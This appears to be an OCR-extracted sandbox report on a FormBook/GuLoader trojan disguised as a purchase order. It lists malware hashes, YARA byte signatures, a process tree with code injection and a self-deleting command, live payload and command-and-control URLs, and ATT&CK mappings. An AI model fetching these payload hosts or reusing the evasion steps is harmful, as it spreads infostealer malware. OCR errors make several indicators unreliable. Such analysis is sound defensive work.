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Analysis Report Purchase Order Updates thyssenkrupp...

Overview
General Information Detection Classification
Sample Purchase Order Updates -
Name: thyssenkrupp Materials Malicious sample detected (through ...
Australia 900- MALICIOUS

5400006911 exe Multi AV Scanner detection for subm...

Analysis ID: 321085 System process connects to networ...

MDS: 6008cd180e677b.. Yara detected FormBook
SHAL: 881844503dee7d.. Yara detected Generic Dropper
SHA256: b8b07584a493c3..

Yara detected Guloader

Tags:

Most interesting Screenshot:

Contains functionality to hide a threa...

Detected RDTSC dummy instruction...

FormBook GulLoader Executable has a suspicious name (...
100

Score:

Hides threads from debuggers
Range: 0-100 Initial sample is a PE file and has a ...
Whitelisted:  false

Confid 100% Maps a DLL or. memory area into an...
onfidence: Q)

w
«Q
>
2
(=
=
®
(7]

Startup

= System is w10x64

e % Purchase Order Updates thyssenkrupp Materials Australia 900-5400006911.exe (PID: 6304 cmdline: ‘C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials A
ustralia 900-5400006911.exe’ MD5: 6008CD180E677BE4846D5F8ABFAGBI83)
e [T Purchase Order Updates thyssenkrupp Materials Australia 900-5400006911.exe (PID: 6780 cmdline: 'C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials
Australia 900-5400006911.exe’ MD5: 6008CD180E677BE4846D5F8ABFAGBI83)
o W explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
. $ cmstp.exe (PID: 6004 cmdline: C:\Windows\SysWOW64\cmstp.exe MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. cmd.exe (PID: 2108 cmdline: /c del 'C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 900-5400006911.exe' MD5:
F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 2860 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000006.00000002.921168798.0000000002E4 JoeSecurity_FormBook Yara detected Joe Security
0000.00000040.00000001.sdmp FormBook
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Source Rule Description
00000006.00000002.921168798.0000000002E4 Formbook_1 autogenerated rule
0000.00000040.00000001.sdmp brought to you by
yara-signator
00000006.00000002.921168798.0000000002E4 Formbook detect Formbook in

0000.00000040.00000001.sdmp memory

00000006.00000002.920987753.0000000002960000.00000 JoeSecurity_FormBook
040.00000001.sdmp

Yara detected
FormBook

00000006.00000002.920987753.0000000002960000.00000 Formbook_1
040.00000001.sdmp

autogenerated rule
brought to you by
yara-signator

Click to see the 18 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

@ AV Detection

@ Networking

@ E-Banking Fraud

@ System Summary
@ Data Obfuscation

@ Anti Debugging

@

AV Detection:

Click to jump to signature section

Multi AV Scanner detection for submitted file

Yara detected FormBook

Copyright null 2020

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

@ Software Vulnerabilities

@ Persistence and Installation Behavior
@ Hooking and other Techniques for Hiding and Protection
©® Malware Analysis System Evasion

Strings

e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
e 0x9b62:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
e 0x15685:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25

e o o o e o o o

e o o o o o

7494

0x15171:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa57a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b307:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c30a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x183e9:$sqlite3step: 68 34 1C 7B E1
0x184fc:$sqlite3step: 68 34 1C 7B E1
0x18418:$sqlite3text: 68 38 2A 90 C5
0x1853d:$sqlite3text: 68 38 2A 90 C5
0x1842b:$sqlite3blob: 68 53 D8 7F 8C
0x18553:$sqlite3blob: 68 53 D8 7F 8C

e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
e 0x9b62:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
e 0x15685:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25

® o o o

o o o o

7494

0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa57a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b307:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c30a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

@ HIPS / PFW / Operating System Protection Evasion
@ Stealing of Sensitive Information
@ Remote Access Functionality
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E-Banking Fraud:

=

Yara detected FormBook

]

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

]

Yara detected GuLoader

Hooking and other Techniques for Hiding and Protection:

‘]

Malware Analysis System Evasion:

]

Anti Debugging:

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

]

Yara detected FormBook

Yara detected Generic Dropper

R

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
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Initial
Access Execution Persistence
Valid Shared Path
Accounts Modules Interception
Default  Scheduled Boot or
Accounts Task/Job  Logon
Initialization
Scripts
Domain At (Linux) Logon Script
Accounts (Windows)
Local At Logon Script

Accounts (Windows) (Mac)
Cloud Cron Network
Accounts Logon Script

Behavior Graph

Screenshots

Thumbnails

Privilege
Escalation

Process
Injection

Boot or Logon
Initialization
Scripts

Logon Script
(Windows)

Logon Script
(Mac)

Network Logon
Script

Defense Evasion

Rootkit

Virtualization/Sandbox

Evasion

Process

Injection

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Behavior Graph
[ ——

Credential
Access
Credential
API
Hooking

LSASS

Memory

Security
Account
Manager

NTDS

LSA
Secrets

Lateral
Discovery Movement
Security Software Remote
Discovery ﬂ Services
Virtualization/Sandbox Remote
Evasion Desktop

Protocol
Process Discovery SMB/Windows

Admin Shares
Remote System Distributed
Discovery Component

Object Model
System Information SSH

Discovery

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Collection Exfiltration
Credential  Exfiltration
API Over Other
Hooking Network
Medium
Archive Exfiltration
Collected  Over
Data Bluetooth
Data from  Automated
Network Exfiltration
Shared
Drive
Input Scheduled
Capture Transfer
Keylogging Data
Transfer
Size Limits
Legend:

Command
and Control

Encrypted

Channel

Ingress Tool
Transfer

Non-
Application
Layer
Protocol

Application
Layer
Protocol

Fallback
Channels

l:‘ Process

@ B0

Y
*
"en

) 8 W8

i
i
=

Java

L@ 2 )

Delphi

Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

Visual Basic

.Net C# or VB.NET

Is malicious

Internet

Network
Effects

Eavesdrop on
Insecure
Network
Communication .

Exploit SS7 to
Redirect Phone '
Calls/SMS

Exploit SS7to
Track Device
Location '

SIM Card
Swap

Manipulate
Device
Communication

Hide Legend

Number of created Registry Values

Number of created Files

C, C++ or other language
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& g

Excel 2016

Purchase
Order Upda...

GNLOMNH...

F-l O Tyoe here to search 4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
Purchase Order Updates thyssenkrupp Materials Australia 900-5400006911.exe 31% Virustotal Browse
Purchase Order Updates thyssenkrupp Materials Australia 900-5400006911.exe 15% ReversingLabs Win32.Trojan.Bulz

Dropped Files
No Antivirus matches

Unpacked PE Files

Copyright null 2020 Page 8 of 29


https://www.virustotal.com/gui/file/b8b07584a493c32a6f045b8bfe1f7ce2a2e441035a7048e946aa6b26a6485c0d/detection/f-b8b07584a493c32a6f045b8bfe1f7ce2a2e441035a7048e946aa6b26a6485c0d-1605862929

No Antivirus matches

Domains

No Antivirus matches

URLs

Source

hitp://\www.founder.com.cn/cn/bThe
hitp://www.founder.com.cn/cn/bThe
hitp://www.founder.com.cn/cn/bThe

hitp://www.founder.com.cn/cn/bThe

hitp:/fiwww.tiro.com
hitp:/fwww.tiro.com
hitp:/fwww.tiro.com

hitp:/fwww.tiro.com

hitp:/f\www.yourdfwliving.com/ca5e/?
9rmT0Zz8=33d4ALCEMIQSIETZfmIIN5/91vKY SjLj82bPV1gW1bkPYk/ky+qZQnI1oXWMSZEPGOWK&r

Z=Xn8pd6vp
hitp://www.goodfont.co.kr
hitp://www.goodfont.co.kr
hitp://www.goodfont.co.kr
hitp://www.goodfont.co.kr
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD

hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://iwww.galapagosdesign.com/staff/dennis.htm

hitp://iwww.galapagosdesign.com/staff/dennis.htm

hitp://fontfabrik.com
hitp://fontfabrik.com
hitp://fontfabrik.com
hitp://fontfabrik.com
hitp://\www.founder.com.cn/cn
hitp://\www.founder.com.cn/cn
hitp://\www.founder.com.cn/cn
hitp://\www.founder.com.cn/cn
hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/

hitp://\www.galapagosdesign.com/DPlease
hitp://\www.galapagosdesign.com/DPlease
hitp://\www.galapagosdesign.com/DPlease

hitp://\www.galapagosdesign.com/DPlease

hitpiwww.%s.comPA
hitpiwww.%s.comPA
hitpiwww.%s.comPA
hitpiwww.%s.comPA
hitp://www.sandoll.co.kr

hitp:/f/www.sandoll.co.kr
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Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Label Link
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

Page 9 of 29



Source Detection Scanner Label Link
hitp:/f/www.sandoll.co.kr 0% URL Reputation safe

hitp:/f/www.sandoll.co.kr 0% URL Reputation safe

hitp:/fiwww.urwpp.deDPlease 0% URL Reputation safe

hitp:/fiwww.urwpp.deDPlease 0% URL Reputation safe

hitp:/fiwww.urwpp.deDPlease 0% URL Reputation safe

hitp:/fiwww.urwpp.deDPlease 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe

hitp:/fiwww.sakkal.com 0% URL Reputation safe

hitp:/fiwww.sakkal.com 0% URL Reputation safe

hitp:/fiwww.sakkal.com 0% URL Reputation safe

hitp:/fiwww.sakkal.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
pilatescollective.com 192.185.152.65 true false high
T e S = 7 ™ S ey e
www.remotereg.com 45.79.19.196 true false unknown

Contacted URLs

Name

URLs from Memory and Binaries

Name

hitp://https://www.hover.com/domain_pricing?source=parked

hitp://https://www.hover.com/privacy?source=parked

hitp://www.apache.org/licenses/LICENSE-2.0

hitp:/f\www.fontbureau.com

hitp:/fiwww.fontbureau.com/designersG

hitp://https://twitter.com/hover

hitp://https://www.instagram.com/hover_domains

hitp:/f\www.fontbureau.com/designers/?

hitp:/f\www.founder.com.cn/cn/bThe

hitp://https://www.hover.com/transfer_in?source=parked

hitp:/fiwww.fontbureau.com/designers?

Copyright null 2020

Malicious

Source

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

Antivirus Detection

Malicious

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Reputation

Reputation
high

high

high

high

high

high

high

high

unknown

high

high
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Name

hitp://https://www.hover.com/renew?source=parked

http:/f

https://pilatescollective.com/myguy/anyiba_ivtYLdKxk45.bin

hitp:/fiwww.tiro.com

hitp://www.fontbureau.com/designers

hitp://iwww.goodfont.co.kr

hitp://https://www.hover.com/email?source=parked

hitp://https://www.hover.com/about?source=parked

hitp://www.carterandcone.coml

hitp://iwww.sajatypeworks.com

hitp:/fiwww.typography.netD

hitp://www.fontbureau.com/designers/cabarga.htmIN

hitp://\www.founder.com.cn/cn/cThe

hitp://iwww.galapagosdesign.com/staff/dennis.htm

hitp://fontfabrik.com

hitp://www.founder.com.cn/cn

hitp://www.fontbureau.com/designers/frere-user.html

hitp://https://www.hover.com/domains/results

hitp://https://www.hover.com/tos?source=parked

hitp:/fiwww.jiyu-kobo.co.jp/

hitp://\www.galapagosdesign.com/DPlease

hitp:/f\www.fontbureau.com/designers8

hitpiwww.%s.comPA
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Source

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

Purchase Order Updates thyssenkrupp
Materials Australia 900-54000069
11.exe, 00000001.00000002.7574
36469.0000000000563000.0000004
0.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.720261715.0000000002B50000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

e o o o

e o o o

e o o o o o o o

e o o o

e o o o6 o o o 0o o o o o

e o o o

e o o o

e o o o

e o o o

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

Reputation

high

high

unknown

high

unknown

high

high

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

high

high

high

unknown

unknown

high

low
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Name

hitp:/fiwww.fonts.com

hitp:/f/www.sandoll.co.kr

hitp:/f/www.urwpp.deDPlease

hitp://www.zhongyicts.com.cn

hitp:/fiwww.sakkal.com

hitp://https://www.hover.com/tools?source=parked

hitp://https://help.hover.com/home?source=parked

hitp://https://www.hover.com/?source=parked

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

P Domain
64.98.145.30 unknown
192.185.152.65 unknown

General Information

Copyright null 2020

Source

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000004.0000000
0.741826689.000000000B976000.0
0000002.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

cmstp.exe, 00000006.00000002.9
22184165.00000000054EF000.0000
0004.00000001.sdmp

Country Flag
Canada il
United States =

Malicious

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation:
e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:
e URL Reputation:

ASN
32491
46606

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

ASN Name
TUCOWS-3CA

Reputation

high

unknown

unknown

unknown

unknown

high

high

high

Malicious

true

UNIFIEDLAYER-AS-1US false
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Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 321085
Start date: 20.11.2020
Start time: 10:56:58
Joe Sandbox Product: CloudBasic
Overall analysis duration: 0Oh 8m 53s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: Purchase Order Updates thyssenkrupp Materials
Australia 900-5400006911.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211
Number of analysed new started processes analysed: 15
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.evad.WinEXE@7/0@4/2
EGA Information: Failed
HDC Information: e Successful, ratio: 24.7% (good quality ratio 21.3%)

e Quality average: 68.8%
e Quality standard deviation: 33.8%
HCA Information: e Successful, ratio: 94%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension:
.exe
Warnings: Show All

e Exclude process from analysis (whitelisted):
BackgroundTransferHost.exe,
backgroundTaskHost.exe, svchost.exe,
wuapihost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted):
13.88.21.125, 13.64.90.137, 51.104.144.132,
52.155.217.156, 20.54.26.129, 95.101.22.134,
95.101.22.125

e Excluded domains from analysis (whitelisted):
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
skypedataprdcolwus17.cloudapp.net,
arc.msn.com.nsatc.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
ris-prod.trafficmanager.net,
al449.dscg2.akamai.net, arc.msn.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, ris.api.iris.microsoft.com,
umwatsonrouting.trafficmanager.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
skypedataprdcolwus15.cloudapp.net

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations
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Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

64.98.145.30 Get hash malicious Browse ° Wwww.sympu
bs.com/sub/?
1b=jINDp
L_hl&adsdU
Lx=exbU4/4
dwWJbOlwCgU
WABnNYfijcMy
2h90MC/Y2e
fpEd3U5Uc)
GsPJLwYDLg
nBBW3TFDQb
KcpVMBA==

Get hash malicious Browse e www.iuvo.
Xyz/d9s8/?
t8o=he92Ed
Qzs/Hz/UE/
j8/qYOGgF1
dsuDtJC9/W
aaPYDs9hWF
mO6jox2nFy
IpmHj3SNb2
Wg8n6Qjg==
&Tj=Yplp

Get hash malicious Browse e www.homec
aredispatc
h.com/Otog/?
K8ePY=0H
RdnbOcFNnx
vyqGcVRvrr
LsbqQ9r15l
UAj7Zds+T+
sucbkdrSSK
iOrsMjTBx8
eXU9lb&uTr
L=ArghXbG

Get hash malicious Browse e www.bridg
ecounsel.c
om/iwnn/?V
V=14WIn9wW2
KO8RsgFTS7
xOtS0lo2xQ
AdJXy6pSoo
KD6GidwymY
IEze670EIK
ijriMdb10q!
&2d=YnaxWrUh

Get hash malicious Browse o www.fires
ideedition
s.com/hnh/?
GTg0=16n/
EVTVvrPY03
ZM1cgxu8vF
+1z8aJHHZ9
Ay32170f9j
yEbegt6puR
PXpTfetTqd
kePI&5ju=UnSp

Get hash malicious Browse e harnessdo
g.com/robots.txt

Get hash malicious Browse e www.briar
hurst.org/2mo9u

Get hash malicious Browse e www.brock
squire.com/ph/?
3fr4LdJ0=92v49/
hxfXckgése
ImwY8POmMOb
uK+CZlvd5e
ySkU5X5K6i
uwzcyW5QnN
CYDBvgbiXq
e9XdPIEWAS8
27zstIHOSg
==&6lK=wv1
pOl4Hg8mMPL6F
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https://view.joesandbox.com/analysis/238796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238796/html/none?idtype=webid
https://view.joesandbox.com/analysis/223566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/223566/html/none?idtype=webid
https://view.joesandbox.com/analysis/208189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/208189/html/none?idtype=webid
https://view.joesandbox.com/analysis/189146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189146/html/none?idtype=webid
https://view.joesandbox.com/analysis/177506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/177506/html/none?idtype=webid
https://view.joesandbox.com/analysis/169491/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/169491/html/none?idtype=webid
https://view.joesandbox.com/analysis/145478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/145478/html/none?idtype=webid
https://view.joesandbox.com/analysis/145384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/145384/html/none?idtype=webid

Match

Copyright null 2020

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.bgbhi
nc.com/ju/

www.bgbhi
nc.com/ju/

www.makes
yougreat.c
om/m54/

www.nocial-
media.co
m/chu20/?3
fg46tu=dul
vafqggC+Bgm
gemqgY5Wok
FFUY91Erfk
CX1z4wJ6S1
QPFdLbIH1G
/D6178tlYf
dHR3KZJgSc
5TwZpL3Jis
ELg==&6l0L
=v6QIf8exd
fOhQVQ

demosthen
es.info/as
sets/image
s/polina.jpg

losangele
sstreetswe
eping.com/
private/?5
JUTGX5=L6K
gL7JOpV7FI
J6EBiwYaRf
OtjW+r6xHL
GDOGCruUSLD
arW7yz9p+3
hiuUYG/8Me
fkU3vYUTDP
03GiHder38
Nlw==&t2Kd
e=3f0P0L&sql=1

www.podim
ation.com/ax1/?
00x=t
d1cEhBbeo8
Rub8g9Lhai
WGCB6(3SAS
HhirEgQDJO
fmdxXWHQ4L
XN4J2ujarh
ZshQmQ/vqj
jZVRIj+CWR
DPADA==&4h
p=7nTpgdDO
x0eT

www.fashi
onwalkoff.
com/sb/?7n
T=k5sb10d/
dgAlOxg6gy
9dtgNiaaHf
ZK5L18HQEO
N64biWpkY5
TYpTryyKKG
JN+yS3gBUn
+0or2gdS01Z
yudy63Fg==
&3fud=pJeD
bt2xRRpdaBY

www.goodo
rganicfood
.online/ok/?
id=gzLBH
X8TS+wtmj3
u7IpXCNGRF
P9vqOythMn
6UC4PS/IQE
g8VoOhNwKe
4U0pqYzFIT
bvLLjHXEzc
jmrzk&pd=6
lyL8bm
www.unite
dcpbocarat
on.com/
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https://view.joesandbox.com/analysis/145092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/145092/html/none?idtype=webid
https://view.joesandbox.com/analysis/144699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/144699/html/none?idtype=webid
https://view.joesandbox.com/analysis/144106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/144106/html/none?idtype=webid
https://view.joesandbox.com/analysis/126605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/126605/html/none?idtype=webid
https://view.joesandbox.com/analysis/115204/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/115204/html/none?idtype=webid
https://view.joesandbox.com/analysis/107924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/107924/html/none?idtype=webid
https://view.joesandbox.com/analysis/107492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/107492/html/none?idtype=webid
https://view.joesandbox.com/analysis/107030/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/107030/html/none?idtype=webid
https://view.joesandbox.com/analysis/106955/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/106955/html/none?idtype=webid
https://view.joesandbox.com/analysis/106764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/106764/html/none?idtype=webid

Match

192.185.152.65

Domains

Match

pilatescollective.com

ASN

Match
TUCOWS-3CA

UNIFIEDLAYER-AS-1US

Copyright null 2020

Associated Sample Name / URL SHA 256
_ o
- GethaSh

Associated Sample Name / URL SHA 256

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
